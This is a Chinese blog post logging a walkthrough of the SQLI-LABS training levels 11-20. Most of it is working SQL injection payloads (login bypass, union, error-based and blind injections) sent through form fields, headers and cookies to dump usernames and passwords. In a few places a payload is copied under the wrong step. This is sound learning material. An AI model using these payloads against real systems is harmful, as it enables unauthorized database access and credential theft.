学习SQLI-LABS记录（11-20）

最新推荐文章于 2024-10-19 11:09:56 发布
最新推荐文章于 2024-10-19 11:09:56 发布
阅读量379 收藏
点赞数
文章标签： restful html python
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/wild_boar_peggy/article/details/120706550
版权

学习SQLI-LABS记录（11-20）

SQLI-LABS 11-20

Less 11 POST-Error Based-Single Quote-String

当我们输入一组正确的用户名和密码，如admin:admin后：请添加图片描述
页面显示登录成功。
既然是post型注入，我们应该再输入用户名和密码的地方寻找注入点。
我们输入admin:admin\后：
请添加图片描述
发现网页回显有报错，而且知道了密码的闭合方式是单引号。
那既然密码处有注入点，那我们就可以试试万能密码。
用Burp抓到网页信息后，把密码改成：

passwd=123456' or 1=1--+

请添加图片描述
发现我们只需要知道正确的用户名，在密码后加入or 1=1，即使密码即使错误也可以登录。
而且输入：

passwd=12346' union select 1,2--+

请添加图片描述
发现还可以使用联合注入来爆我们想要的数据。
比如爆库名：

passwd=a123' union select 1,database()--+

请添加图片描述
爆security的所有表名：

passwd=a123' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema = database())--+

请添加图片描述
爆users的所有字段名：

passwd=a123' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema = database() and table_name = "users")--+

请添加图片描述
爆users所有用户id，用户名和密码：

passwd=a123' union select 1,group_concat(id,0x3a,username,0x3a,password,0x3C,0x68,0x72,0x2F,0x3E) from users--+

请添加图片描述

Less 12 POST-Error Based-Double Quote-String-With Twist

这一关和上一关基本一样，只是这一关的闭合方式变成了")。
请添加图片描述
依旧可以使用我们的万能密码：

passwd=12346") union select 1,2--+

依旧可以使用联合注入来爆我们想要的数据。
爆库名：

passwd=a123") union select 1,database()--+

爆security的所有表名：

passwd=a123") union select 1,(select group_concat(table_name) from information_schema.tables where table_schema = database())--+

爆users的所有字段名：

passwd=a123") union select 1,(select group_concat(column_name) from information_schema.columns where table_schema = database() and table_name = 'users')--+

爆users所有用户id，用户名和密码：

passwd=a123") union select 1,group_concat(id,0x3a,username,0x3a,password,0x3C,0x68,0x72,0x2F,0x3E) from users--+

Less 13 POST-Double Injection-Single Quote-String-With Twist

在我们用正确的用户名和密码登录后发现：
请添加图片描述
页面不会显示你的有户名和密码了，那么联合注入是用不了。
依旧可以用万能密码登录账号：

passwd=dsa') or 1=1--+

请添加图片描述
但是在我们输入admin:admin\后：
请添加图片描述
可以发现页面任然是有错误回显的。
那我们就可以考虑报错注入。
1、利用updatexml进行报错注入：
爆表名：

passwd=dsa') and (select updatexml(1,concat(0x7e,(select database()),0x7e),1))--+

请添加图片描述

爆security的表名：

passwd=dsa') and (select updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema = database()),0x7e),1))--+

请添加图片描述

爆users的所有字段名：

passwd=dsa') and (select updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema = database() and table_name="users"),0x7e),1))--+

请添加图片描述

爆users所有用户id，用户名和密码：
因为语句对输出的字符长度做了限制，所以用户名和密码就只好一个一个地爆了。

passwd=dsa') and (select updatexml(1,concat(0x7e,(select concat(username,0x3a,password) from users limit 0,1),0x7e),1))--+

请添加图片描述
2、利用ExtractValue()进行报错注入：
爆库名：

passwd=dsa') and extractvalue(1, concat(0x7e,(select database()),0x7e))--+

爆security的表名：

passwd=dsa') and extractvalue(1, concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema = database()),0x7e))--+

爆users的所有字段名：

passwd=dsa') and extractvalue(1, concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema = database() and table_name="users"),0x7e))--+

爆users所有用户id，用户名和密码：
因为语句对输出的字符长度做了限制，所以用户名和密码就只好一个一个地爆了。

passwd=dsa') and extractvalue(1, concat(0x7e,(select concat(username,0x3a,password) from users limit 0,1),0x7e))--+

3、利用floor()进行报错注入：
爆库名：

passwd=dsa') and (select 1 from (select count(*), concat((select database()),floor (rand(0)*2))x from information_schema.tables group by x)a)--+

爆security的表名：
因为字符限制用不了group_concat，所以表名就一个一个爆。

passwd=dsa') and (select 1 from (select count(*), concat((select table_name from information_schema.tables where table_schema = database() limit 1,1),floor (rand(0)*2))x from information_schema.tables group by x)a)--+

爆users的所有字段名：
因为字符限制用不了group_concat，所以列名就一个一个爆。

passwd=dsa') and (select 1 from (select count(*), concat((select column_name from information_schema.columns where table_schema = database() and table_name = "users" limit 1,1),floor (rand(0)*2))x from information_schema.tables group by x)a)--+

爆users所有用户id，用户名和密码：
因为字符限制用不了group_concat，所以用户名和密码就一个一个爆。

passwd=dsa') and (select 1 from (select count(*), concat((select concat(username,0x3a,password) from users limit 0,1),floor (rand(0)*2))x from information_schema.tables group by x)a)--+

Less 14 POST-Double Injection-Double Quote-String-With Twist

这一关和上一关基本一样，就是闭合类型是")。
请添加图片描述
我们依旧可以使用报错注入来得到我们想要的信息。
1、利用updatexml进行报错注入：
爆表名：

passwd=dsa") and (select updatexml(1,concat(0x7e,(select database()),0x7e),1))--+

爆security的表名：

passwd=dsa") and (select updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema = database()),0x7e),1))--+

爆users的所有字段名：

passwd=dsa") and (select updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema = database() and table_name='users'),0x7e),1))--+

爆users所有用户id，用户名和密码：
因为语句对输出的字符长度做了限制，所以用户名和密码就只好一个一个地爆了。

passwd=dsa") and (select updatexml(1,concat(0x7e,(select concat(username,0x3a,password) from users limit 0,1),0x7e),1))--+

2、利用ExtractValue()进行报错注入：
爆库名：

passwd=dsa") and extractvalue(1, concat(0x7e,(select database()),0x7e))--+

爆security的表名：

passwd=dsa") and extractvalue(1, concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema = database()),0x7e))--+

爆users的所有字段名：

passwd=dsa") and extractvalue(1, concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema = database() and table_name='users'),0x7e))--+

爆users所有用户id，用户名和密码：
因为语句对输出的字符长度做了限制，所以用户名和密码就只好一个一个地爆了。

passwd=dsa") and extractvalue(1, concat(0x7e,(select concat(username,0x3a,password) from users limit 0,1),0x7e))--+

3、利用floor()进行报错注入：
爆库名：

passwd=dsa") and (select 1 from (select count(*), concat((select database()),floor (rand(0)*2))x from information_schema.tables group by x)a)--+

爆security的表名：
因为字符限制用不了group_concat，所以表名就一个一个爆。

passwd=dsa") and (select 1 from (select count(*), concat((select table_name from information_schema.tables where table_schema = database() limit 1,1),floor (rand(0)*2))x from information_schema.tables group by x)a)--+

爆users的所有字段名：
因为字符限制用不了group_concat，所以列名就一个一个爆。

passwd=dsa") and (select 1 from (select count(*), concat((select column_name from information_schema.columns where table_schema = database() and table_name = 'users' limit 1,1),floor (rand(0)*2))x from information_schema.tables group by x)a)--+

爆users所有用户id，用户名和密码：
因为字符限制用不了group_concat，所以用户名和密码就一个一个爆。

passwd=dsa") and (select 1 from (select count(*), concat((select concat(username,0x3a,password) from users limit 0,1),floor (rand(0)*2))x from information_schema.tables group by x)a)--+

Less 15 POST-Blind-Boolian/Time-Single Quotes

这一关我们用正确的用户名密码去登录：
请添加图片描述
页面有登陆成功的回显。
用错误的用户名密码和不规范的用户名密码去登录：
请添加图片描述
都是登录失败的页面，页面没有用户名和密码的回显，也没有报错的回显。
那我们的联合注入和报错注入在这一关都用不了了，但是登录成功和失败页面返回的图片是不一样的，我们可以利用这一点去进行布尔注入。
在注入前我们要先判断它的闭合类型。输入passwd=admin' #后：请添加图片描述
页面显示登录成功，可以判定闭合类型是'。
我们输入：

passwd=admin' and length(database())=8--+

请添加图片描述
可以知道该数据库的名字的长度是8。
输入：

passwd=admin' and ascii(substr(database(),1,1))=115--+

请添加图片描述
可以知道该数据库名字的第一个字符的的ascii码是115，即’s’。

当然除了布尔注入，也可以使用延时注入来获取我们需要的信息。
比如输入：

passwd=admin' and if(length(database())=8,sleep(3),1)--+

请添加图片描述
可以发现页面的响应时间明显大于正常响应时间，因此可以知道该数据库的名字的长度是8。
还可以输入：

passwd=admin' and  if(ascii(substr(database(),1,1))=115,sleep(3),1)--+

请添加图片描述
可以发现页面的响应时间明显大于正常响应时间，可以判断该数据库名字的第一个字符的的ascii码是115，即’s’。

Less 16 POST-Blind-Boolian/Time-Double Quotes

这一关和上一关基本一样，只是闭合方式不同。
输入passwd=admin")#后：
请添加图片描述
可以确定是")的闭合方式。

一样的我们可以用布尔注入或者延时注入。
布尔注入：
输入：

passwd=admin") and length(database())=8--+

通过页面的回显可以知道该数据库的名字的长度是8。
输入：

passwd=admin") and ascii(substr(database(),1,1))=115--+

通过页面的回显可以知道该数据库名字的第一个字符的的ascii码是115，即’s’。

延时注入:
输入：

passwd=admin") and if(length(database())=8,sleep(3),1)--+

通过对页面的响应时间判断，可以知道该数据库的名字的长度是8。
还可以输入：

passwd=admin") and  if(ascii(substr(database(),1,1))=115,sleep(3),1)--+

通过对页面的响应时间判断，可以判断该数据库名字的第一个字符的的ascii码是115，即’s’。

Less 17 POST-Update Quotes-Error Based-Single Quotes

这一关的页面很有意思，是让我们跟新密码的页面。
请添加图片描述
我们可以通过分析源代码：

function check_input($value)
	{
	if(!empty($value))
		{
		// truncation (see comments)
		$value = substr($value,0,15);
		}

		// Stripslashes if magic quotes enabled
		if (get_magic_quotes_gpc())
			{
			$value = stripslashes($value);
			}

		// Quote if not a number
		if (!ctype_digit($value))
			{
			$value = "'" . mysql_real_escape_string($value) . "'";
			}
		
	else
		{
		$value = intval($value);
		}
	return $value;
	}

发现源代码对输入的用户名进行了过滤，但是没有对密码输入进行过滤，所以我们可以通过密码输入来对数据库进行爆破。
比如在新密码框输入：
1、利用updatexml进行报错注入：
爆库名：

123' and (select updatexml(1,concat(0x7e,(select database()),0x7e),1)) or '1'='1

请添加图片描述
爆security的表名：

123' and (select updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema = database()),0x7e),1)) or '1'='1

请添加图片描述
爆users的所有字段名：

123' and (select updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema = database() and table_name='users'),0x7e),1)) or '1'='1

请添加图片描述
爆users用户id，用户名和密码：

123' and (select updatexml(1,concat(0x7e,(select concat(username,0x3a,password) from (select username,password from users)aa limit 0,1),0x7e),1)) or '1'='1!

在这里插入图片描述
在这里如果直接使用之前的注入形式：' and (select updatexml(1,payload,1)) or '1'='1。则会报错：You can't specify target table 'users' for update in FROM clause。它的意思是在同一句话里不能先select出同一个表中的某些值，再update这个表。
所以我们对这句话进行了改造就是先构造一个select来得到我们想要的字段，将其作为一张新的表，然后再利用select去这个表里选出我们要的数据。

2、利用ExtractValue()进行报错注入：
爆库名：

123' and extractvalue(1,concat(0x7e,(select database()),0x7e)) or '1'='1

爆security的表名：

123' and extractvalue(1,concat(0x7e,(select database()),0x7e)) or '1'='1

爆users的所有字段名：

123' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema = database()),0x7e)) or '1'='1

爆users用户id，用户名和密码：

123' and extractvalue(1,concat(0x7e,(select concat(username,0x3a,password) from (select username,password from users)aa limit 0,1),0x7e)) or '1'='1

这里同上如果直接使用之前的注入形式：' and extractvalue(1, payload) or '1'='1。则会报错：You can't specify target table 'users' for update in FROM clause。
所以我们对这句话也进行了和上面一样的改造。

3、利用floor()进行报错注入：
爆库名：

123' and (select 1 from (select count(*), concat((select database()),floor (rand(0)*2))x from information_schema.tables group by x)a) or '1'='1

爆security的表名：

123' and (select 1 from (select count(*), concat((select table_name from information_schema.tables where table_schema = database() limit 1,1),floor (rand(0)*2))x from information_schema.tables group by x)a) or '1'='1

爆users的所有字段名：

123' and (select 1 from (select count(*), concat((select column_name from information_schema.columns where table_schema = database() and table_name = 'users' limit 1,1),floor (rand(0)*2))x from information_schema.tables group by x)a) or '1'='1

爆users用户id，用户名和密码：
因为语句对输出的字符长度做了限制，所以用户名和密码就只好一个一个地爆了。

123' and (select 1 from (select count(*), concat((select concat(username,0x3a,password) from users limit 0,1),floor (rand(0)*2))x from information_schema.tables group by x)a) or '1'='1

Less 18 POST-Header Injections-Uagent Field-Error Based

这一关是对用户的输入进行了过滤。
但是输入正确的用户名和密码后：
请添加图片描述
根据这个回显，我们可以考虑http头部注入，而且注入点应该在User-Agent。
看看User-Agent数据的闭合方式：
在User-Agent后输入'：请添加图片描述
根据这个报错 near '192.168.48.1', 'admin')，我们可以猜测它的sql语句应该是INSEERT INTO table VALUES('Referter','Ip','username')，可以判断闭合方式是'。

我们可以通过报错注入来得到我们要的信息：
1、利用updatexml进行报错注入：
注入形式如：' and (select updatexml(1,payload,1)) or '1'='1。
爆库名：

' and (select updatexml(1,concat(0x7e,(select database()),0x7e),1)) or '1'='1

请添加图片描述
爆security的表名：

' and (select updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema = database()),0x7e),1)) or '1'='1

请添加图片描述

爆users的所有字段名：

' and (select updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema = database() and table_name='users'),0x7e),1)) or '1'='1

请添加图片描述

爆users用户id，用户名和密码：
因为语句对输出的字符长度做了限制，所以用户名和密码就只好一个一个地爆了。

' and (select updatexml(1,concat(0x7e,(select concat(username,0x3a,password) from users limit 0,1),0x7e),1)) or '1'='1

请添加图片描述
2、利用ExtractValue()进行报错注入：
注入形式如：' and extractvalue(1, payload) or '1'='1。
爆库名：

' and extractvalue(1, concat(0x7e,(select database()),0x7e)) or '1'='1

爆security的表名：

' and extractvalue(1, concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema = database()),0x7e)) or '1'='1

爆users的所有字段名：

' and extractvalue(1, concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema = database() and table_name="users"),0x7e)) or '1'='1

爆users用户id，用户名和密码：
因为语句对输出的字符长度做了限制，所以用户名和密码就只好一个一个地爆了。

' and extractvalue(1, concat(0x7e,(select concat(username,0x3a,password) from users limit 0,1),0x7e)) or '1'='1

3、利用floor()进行报错注入：
注入形式如：and (select 1 from (select count(*), concat((payload),floor(rand(0)*2))x from xxxx group by x)a) or '1'='1。
爆库名：

' and (select 1 from (select count(*), concat((select database()),floor (rand(0)*2))x from information_schema.tables group by x)a) or '1'='1

爆security的表名：

' and (select 1 from (select count(*), concat((select table_name from information_schema.tables where table_schema = database() limit 1,1),floor (rand(0)*2))x from information_schema.tables group by x)a) or '1'='1

爆users的所有字段名：

' and (select 1 from (select count(*), concat((select column_name from information_schema.columns where table_schema = database() and table_name = 'users' limit 1,1),floor (rand(0)*2))x from information_schema.tables group by x)a) or '1'='1

爆users用户id，用户名和密码：
因为语句对输出的字符长度做了限制，所以用户名和密码就只好一个一个地爆了。

' and (select 1 from (select count(*), concat((select concat(username,0x3a,password) from users limit 0,1),floor (rand(0)*2))x from information_schema.tables group by x)a) or '1'='1

Less 19 POST-Header Injections-Referer Field-Error Based

这一关和上一关一样是对用户的输入进行了过滤。
但是输入正确的用户名和密码后：请添加图片描述
同样根据这个回显，我们可以考虑http头部注入，但是这次的注入点应该是Referer。
我们在Referer后输入'：
请添加图片描述
根据这个报错 near '192.168.48.1') ，我们可以猜测它的sql语句应该是INSEERT INTO table VALUES('Referter','Ip',)，可以判断闭合方式是'。

现在我们可以通过报错注入来得到我们要的信息：
1、利用updatexml进行报错注入：
爆库名：

' and (select updatexml(1,concat(0x7e,(select database()),0x7e),1)) or '1'='1

爆security的表名：

' and (select updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema = database()),0x7e),1)) or '1'='1

爆users的所有字段名：

' and (select updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema = database() and table_name='users'),0x7e),1)) or '1'='1

爆users用户id，用户名和密码：
因为语句对输出的字符长度做了限制，所以用户名和密码就只好一个一个地爆了。

' and (select updatexml(1,concat(0x7e,(select concat(username,0x3a,password) from users limit 0,1),0x7e),1)) or '1'='1

2、利用ExtractValue()进行报错注入：
爆库名：

' and extractvalue(1, concat(0x7e,(select database()),0x7e)) or '1'='1

爆security的表名：

' and extractvalue(1, concat(0x7e,(select database()),0x7e)) or '1'='1

爆users的所有字段名：

' and extractvalue(1, concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema = database()),0x7e)) or '1'='1

爆users用户id，用户名和密码：
因为语句对输出的字符长度做了限制，所以用户名和密码就只好一个一个地爆了。

' and extractvalue(1, concat(0x7e,(select concat(username,0x3a,password) from users limit 0,1),0x7e)) or '1'='1

3、利用floor()进行报错注入：
爆库名：

' and (select 1 from (select count(*), concat((select database()),floor (rand(0)*2))x from information_schema.tables group by x)a) or '1'='1

爆security的表名：

' and (select 1 from (select count(*), concat((select table_name from information_schema.tables where table_schema = database() limit 1,1),floor (rand(0)*2))x from information_schema.tables group by x)a) or '1'='1

爆users的所有字段名：

' and (select 1 from (select count(*), concat((select column_name from information_schema.columns where table_schema = database() and table_name = 'users' limit 1,1),floor (rand(0)*2))x from information_schema.tables group by x)a) or '1'='1

爆users用户id，用户名和密码：
因为语句对输出的字符长度做了限制，所以用户名和密码就只好一个一个地爆了。

' and (select 1 from (select count(*), concat((select concat(username,0x3a,password) from users limit 0,1),floor (rand(0)*2))x from information_schema.tables group by x)a) or '1'='1

Less 20 POST-Cookie Injections-Uagent Field-Error Based

这一关我们输入正确的用户名和密码后：
请添加图片描述
发现有一个Delete Your Cookie!的按键。点击后会回到登录页面。
我们可以大胆猜测这一关应该是跟cookie有关了。
在cookie后输入\：
请添加图片描述
报错了，可以确定注入点在cooike，而且闭合方式是'。

同样像前面两关一样用报错注入来获得我们想要的信息。
1、利用updatexml进行报错注入：
爆库名：

' and (select updatexml(1,concat(0x7e,(select database()),0x7e),1)) or '1'='1

爆security的表名：

' and (select updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema = database()),0x7e),1)) or '1'='1

爆users的所有字段名：

' and (select updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema = database() and table_name='users'),0x7e),1)) or '1'='1

爆users用户id，用户名和密码：
因为语句对输出的字符长度做了限制，所以用户名和密码就只好一个一个地爆了。

' and (select updatexml(1,concat(0x7e,(select concat(username,0x3a,password) from users limit 0,1),0x7e),1)) or '1'='1

2、利用ExtractValue()进行报错注入：
爆库名：

' and extractvalue(1, concat(0x7e,(select database()),0x7e)) or '1'='1

爆security的表名：

' and extractvalue(1, concat(0x7e,(select database()),0x7e)) or '1'='1

爆users的所有字段名：

' and extractvalue(1, concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema = database()),0x7e)) or '1'='1

爆users用户id，用户名和密码：
因为语句对输出的字符长度做了限制，所以用户名和密码就只好一个一个地爆了。

' and extractvalue(1, concat(0x7e,(select concat(username,0x3a,password) from users limit 0,1),0x7e)) or '1'='1

3、利用floor()进行报错注入：
爆库名：

' and (select 1 from (select count(*), concat((select database()),floor (rand(0)*2))x from information_schema.tables group by x)a) or '1'='1

爆security的表名：

' and (select 1 from (select count(*), concat((select table_name from information_schema.tables where table_schema = database() limit 1,1),floor (rand(0)*2))x from information_schema.tables group by x)a) or '1'='1

爆users的所有字段名：

' and (select 1 from (select count(*), concat((select column_name from information_schema.columns where table_schema = database() and table_name = 'users' limit 1,1),floor (rand(0)*2))x from information_schema.tables group by x)a) or '1'='1

爆users用户id，用户名和密码：
因为语句对输出的字符长度做了限制，所以用户名和密码就只好一个一个地爆了。

' and (select 1 from (select count(*), concat((select concat(username,0x3a,password) from users limit 0,1),floor (rand(0)*2))x from information_schema.tables group by x)a) or '1'='1
野猪闫
关注
Sql-labs 第一关超详细讲解
A9874564的博客
02-21 6134
一.Sql注入含义 所谓的sql注入就是通过某种方式将恶意的sql代码添加到输入参数中，然后传递到sql服务器使其解析并执行的一种攻击手法。 二.注入思路 1.判断是否存在注入，注入是字符型还是数字型 2.猜解SQL查询语句中的字段数 3.确定回显位置 4.获取当前数据库 5.获取数据库中的表 6.获取表中的字段名 7.得到数据 三.判断是否存在注入点 ...
从零记录sqli-labs学习过程 sqli-labs Less-3
fpxnb1的博客
03-24 2146
sqli-labs Less-3
SQL注入入门
永远相信美好的事情即将发生
03-09 493
sql注入基础入门
【SQL注入攻击】GET-Error based-Single quotes with twist-String（基于错误的GET单引号变形字符型注入）
sm1918451478的博客
10-31 421
【SQL注入攻击】GET-Error based-Single quotes with twist-String（基于错误的GET单引号变形字符型注入）
sqli-labs通关-------03lesson-single_quotes_with_twist
枯藤闲画云
05-31 635
基于括号 用?id=1 没问题啥都有 试试单引号，报错如下 然后我们就试试）发现差不多 但是我们会发现一个很尴尬的问题 就是and1=2 前面竟然没有爆错？？？？看看源码，打印语句 http://127.0.0.1:90/sqli-labs/Less-3/?id=2) and 1=2 union select 1,2,3--+ 只有这样我们才能成功！！！加上引...
sqli-labs大详解
gankjk的博客
10-19 6666
Less-1 GET - Error based - Single quotes - String(基于错误的GET单引号字符型注入) 首先输入参数?id=1，这时页面正常显示，并不报错。 这时我们输入?id=1‘时出现报错，可以判断它是单引号注入 常规注入，判断字段数，当我们order by10时，发生错误，然后我们用二分法判断有几个字段（向上取整）。 当我们到order by 3 时没有报错，这时候我们试试order by 4，发现报错，说明只有三个字段。 然后我们看回显...
sqli-labs靶场通关攻略
test_zpx的博客
08-14 570
Good Good Study，Day Day Up！
sqli-labs靶场
05-30
"sqli-labs靶场"是一个专门用于学习和测试SQL注入技术的平台，它提供了多种不同类型的SQL注入场景，帮助安全研究人员和开发人员了解并防御这种攻击。 在sqli-labs靶场中，用户可以实践各种SQL注入技巧，如错误注入...
sqli-labs-php7-master.zip
04-06
在这个背景下，"sqli-labs-php7-master.zip"是一个专为Web安全学习者设计的练习平台，它专注于SQL注入（SQL Injection）这一重要的攻击手段。这个压缩包包含了一个名为"sqli-labs-php7-master"的项目，用于模拟各种...
sqli-labs实验环境
05-08
`sqli-labs`是一个专门用于学习和实践SQL注入的实验环境，它提供了多种类型的SQL注入漏洞场景，包括但不限于盲注、时间延迟注入、宽字节注入、联合查询注入等。通过这些实验，初学者可以深入了解SQL注入的原理，掌握...
Sqli-labs靶场第20关详解[Sqli-labs-less-20]自动化注入-SQLmap工具注入
m0_73615178的博客
03-03 973
设想如果在Cookie尝试加上注入语句（报错注入），测试是否会执行并返回报错语句爆出想要的信息。，所以先使用burp进行抓包，然后将数据包存入txt文件中打包 用-r 选择目标txt文件。登录后会有记录 Cookie 值。在Cookie 处加上*代表注入点。
★SQL注入漏洞（1）大纲和原理
weixin_51339377的博客
03-18 413
按照注入方法分类： 1.union select注入 2.报错函数注入法 3.盲注（布尔盲注/时间盲注） 4.堆叠查询注入 注入类型： GET型注入 POST型注入（可以借助burpsuite）（更多的是针对账号和密码这种表单的形式） 1.数字型输入 2.字符型注入 （XX型注入 即("") ('')） 3.搜索型注入（like型） 4.报错函数注入 适用：delete,insert/update 函数：updatexm...
mysql 5注入中group_concat的使用
weixin_34375233的博客
08-24 163
mysql中的information_schema 结构用来存储数据库系统信息 information_schema 结构中这几个表存储的信息，在注射中可以用到的几个表。　 | SCHEMATA ――>存储数据库名的， |——>关键字段：SCHEMA_NAME，表示数据库名称 | TABLES ――>存储表名的 ...
深信服技术认证之基于floor( )函数的SQL报错注入
sangfor_edu的博客
06-07 1166
SQL注入（SQL Injection）是一种常见的Web安全漏洞，攻击者利用Web应用程序对用户输入验证上的疏忽，在输入的数据中包含对某些数据库系统有特殊意义的符号或命令，让攻击者有机会直接对后台数据库系统下达指令，进而实现对后台数据库乃至整个应用系统的入侵。...
sqli-labs练习（十四）--- POST-Double Injection-Single quotes-String-with twist
wkend的博客
07-26 477
这一关与上一关很相似，唯一的区别就在于是采用双引号来闭合的， 直接可以用万能密码成功登录，比如123" or 1=1# 在获取数据库信息是把')替换为"即可。 payload：uname=123" union select count(*),concat(':',(select database()),':',floor(rand()*2))as a from information_s...
C语言内存函数详解
2403_82759827的博客
10-12 1112
C语言内存函数
1、HTML笔记
weixin_45871977的博客
10-16 799
前端学习笔记1-HTML笔记
HTML快速入门--第一节--五个基本标签
PangQinghua的博客
10-13 480
html，图片标签；超链接标签；列表标签；表格标签；表单标签
前端html css js 练习巩固沉淀2
最新发布
阿乐的博客
10-19 163
步骤progress
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值